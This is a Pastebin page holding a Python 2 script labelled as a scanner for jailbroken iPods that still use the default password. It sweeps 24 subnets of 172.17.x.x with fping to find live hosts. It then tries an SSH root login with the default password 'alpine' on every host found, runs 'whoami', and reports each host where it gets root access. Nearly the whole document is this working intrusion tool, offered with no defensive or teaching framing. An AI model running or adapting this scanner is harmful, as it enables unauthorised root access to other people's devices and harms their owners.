Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Jailbroken iPod default password scanner, make sure you install fping
- import paramiko
- import os
- import sys
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- #find hosts on LAN
- print '[Attempting to scan...]'
- import os
- #fping 171.17.0/24.0/24
- count = 0
- def run():
- global count
- if count == 24:
- return
- s_count = str(count)
- try:
- os.system("fping -a -g 172.17."+s_count+".0/24 > output"+s_count+".txt")
- except:
- print "Error"
- pass
- count = count+1
- run()
- run()
- print "Merging"
- count = 0
- def merge():
- global count
- s_count = str(count)
- x = open("output"+s_count+".txt", "r")
- contents = x.read().split('\n')
- x.close()
- x = open("merge", "a")
- for f in contents:
- print f
- x.write(f+'\n')
- x.close()
- count = count + 1
- try:
- merge()
- except:
- pass
- merge()
- print '[Scan done...]'
- file = open('merge', 'r')
- ip_list = file.read().split("\n")
- file.close()
- ip_length = len(ip_list)-1
- count = 0
- print "[Testing " +str(ip_length)+ " hosts]"
- #test all the hosts
- def scan():
- global count
- if count == ip_length:
- return
- try:
- ip_list[count] = ip_list[count].replace(" ","")
- print "Trying ["+ip_list[count]+"]"
- ssh.connect(ip_list[count], username="root", password="alpine")
- stdin, stdout, stderr = ssh.exec_command("whoami")
- if stdout.read().split("\n")[0] == "root":
- raw_input("ROOT ACCESS, HOST="+ip_list[count])
- else:
- ssh.close()
- except:pass
- count = count + 1
- scan()
- scan()
- raw_input("Scan completed")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement